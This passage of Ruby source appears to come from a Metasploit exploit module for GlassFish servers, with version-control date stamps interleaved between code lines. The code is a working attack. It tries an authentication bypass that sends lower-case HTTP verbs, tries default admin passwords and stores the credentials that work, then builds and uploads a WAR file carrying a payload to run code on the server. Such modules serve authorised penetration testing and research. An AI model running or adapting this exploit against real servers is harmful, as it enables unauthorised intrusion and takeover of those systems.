res = send_glassfish_request('/applications/upload.jsf', 'get')
2015-06-24 19:49:04 -05:00
title = '<title>Deploy Enterprise Applications/Modules</title>'
if res && res.code.to_i == 200 && res.body.include?(title)
sid = res.get_cookies.to_s.scan(/JSESSIONID=(.*); */).flatten.first
2015-06-24 14:17:45 -05:00
end
else
# 3.0
2015-06-24 19:49:04 -05:00
print_status("Trying auth bypass...")
2015-06-24 14:17:45 -05:00
res = send_glassfish_request('/common/applications/uploadFrame.jsf', 'get')
2015-06-24 19:49:04 -05:00
title = '<title>Deploy Applications or Modules'
if res && res.code.to_i == 200 && res.body.include?(title)
sid = res.get_cookies.to_s.scan(/JSESSIONID=(.*); */).flatten.first
2015-06-24 14:17:45 -05:00
end
end
2014-06-09 15:35:04 -05:00
2015-06-25 22:39:56 -05:00
report_auth_bypass(version) if sid
2015-06-24 14:17:45 -05:00
sid
end
2014-06-09 15:35:04 -05:00
2015-06-24 14:17:45 -05:00
def my_target_host
"http://#{rhost.to_s}:#{rport.to_s}#{normalize_uri(target_uri.path)}"
2011-08-04 17:36:01 +00:00
end
2013-08-30 16:28:54 -05:00
2015-06-25 17:10:20 -05:00
def service_details
super.merge({ post_reference_name: self.refname })
2015-06-25 17:10:20 -05:00
end
2015-06-24 14:17:45 -05:00
def try_normal_login(version)
2015-06-24 19:30:02 -05:00
init_loginscanner
2015-06-24 14:17:45 -05:00
case version
when /2\.x|9\.x/
2015-06-24 19:30:02 -05:00
@cred_collection.prepend_cred(
Metasploit::Framework::Credential.new(
public: 'admin',
private: 'adminadmin',
private_type: :password
))
2015-06-24 14:17:45 -05:00
when /^3\./
2015-06-24 19:30:02 -05:00
@cred_collection.prepend_cred(
Metasploit::Framework::Credential.new(
public: 'admin',
private: '',
private_type: :password
))
2011-08-04 17:36:01 +00:00
end
2013-08-30 16:28:54 -05:00
2015-06-24 19:30:02 -05:00
@cred_collection.prepend_cred(
Metasploit::Framework::Credential.new(
public: datastore['USERNAME'],
private: datastore['PASSWORD'],
private_type: :password
))
2013-08-30 16:28:54 -05:00
2015-06-26 14:02:17 -05:00
@scanner.send_request({'uri'=>normalize_uri(target_uri.path)})
2015-06-24 14:17:45 -05:00
@scanner.version = version
@cred_collection.each do |raw|
cred = raw.to_credential
2015-06-24 19:30:02 -05:00
print_status("Trying to login as #{cred.public}:#{cred.private}")
2015-06-24 14:17:45 -05:00
result = @scanner.attempt_login(cred)
2015-06-24 19:30:02 -05:00
if result.status == Metasploit::Model::Login::Status::SUCCESSFUL
store_valid_credential(user: cred.public, private: cred.private) # changes service_name to http || https
2015-06-24 19:30:02 -05:00
return @scanner.jsession
end
2011-08-04 17:36:01 +00:00
end
2013-08-30 16:28:54 -05:00
2015-06-24 14:17:45 -05:00
nil
end
def attempt_login(version)
sid = nil
if version =~ /3\.0|2\.x|9\.x/
sid = try_glassfish_auth_bypass(version)
return sid if sid
2011-08-04 17:36:01 +00:00
end
2013-08-30 16:28:54 -05:00
2015-06-24 19:30:02 -05:00
try_normal_login(version)
2011-08-04 17:36:01 +00:00
end
2013-08-30 16:28:54 -05:00
2015-06-24 19:30:02 -05:00
def make_war(selected_target)
p = exploit_regenerate_payload(selected_target.platform, selected_target.arch)
2013-08-30 16:28:54 -05:00
2015-06-24 14:17:45 -05:00
jsp_name = rand_text_alphanumeric(4+rand(32-4))
app_base = rand_text_alphanumeric(4+rand(32-4))
2013-08-30 16:28:54 -05:00
2015-06-24 14:17:45 -05:00
war = p.encoded_war({
:app_name => app_base,
:jsp_name => jsp_name,
2015-06-24 19:30:02 -05:00
:arch => selected_target.arch,
:platform => selected_target.platform
2015-06-24 14:17:45 -05:00
}).to_s
2013-08-30 16:28:54 -05:00
2015-06-24 14:17:45 -05:00
return app_base, jsp_name, war
2011-08-04 17:36:01 +00:00
end
2013-08-30 16:28:54 -05:00
2011-08-04 17:36:01 +00:00
def exploit
2015-06-24 14:17:45 -05:00
# Invoke index to gather some info
res = send_glassfish_request('/common/index.jsf', 'GET')
2013-08-30 16:28:54 -05:00
2011-08-04 17:36:01 +00:00
if res.code == 302
2015-06-24 14:17:45 -05:00
res = send_glassfish_request('/login.jsf', 'GET')
2011-08-04 17:36:01 +00:00
end
2013-08-30 16:28:54 -05:00
2015-06-24 14:17:45 -05:00
# Get GlassFish version
2011-08-04 17:36:01 +00:00
edition, version, banner = get_version(res)
print_status("Glassfish edition: #{banner}")
2013-08-30 16:28:54 -05:00
2015-06-24 14:17:45 -05:00
# Set HTTP verbs. Lower-case is used to bypass auth on v3.0
2011-08-04 17:36:01 +00:00
@verbs = {
2015-06-24 19:30:02 -05:00
'GET' => (version == '3.0' || version == '2.x' || version == '9.x') ? 'get' : 'GET',
'POST' => (version == '3.0' || version == '2.x' || version == '9.x') ? 'post' : 'POST',
2011-08-04 17:36:01 +00:00
}
2013-08-30 16:28:54 -05:00
2015-06-24 14:17:45 -05:00
sid = attempt_login(version)
2013-08-30 16:28:54 -05:00
2015-06-24 14:17:45 -05:00
unless sid
2015-06-25 01:58:24 -05:00
fail_with(Failure::NoAccess, "#{my_target_host()} - GlassFish - Failed to authenticate")
2011-08-04 17:36:01 +00:00
end
2013-08-30 16:28:54 -05:00
2015-06-24 19:30:02 -05:00
selected_target = target.name =~ /Automatic/ ? auto_target(sid, res, version) : target
fail_with(Failure::NoTarget, "Unable to automatically select a target") unless selected_target
app_base, jsp_name, war = make_war(selected_target)
2015-06-24 14:17:45 -05:00
print_status("Uploading payload...")
res = upload_exec({
:session => sid,
:app_base => app_base,
:jsp_name => jsp_name,
:war => war,
:edition => edition,
:version => version
})
2011-08-04 17:36:01 +00:00
end
end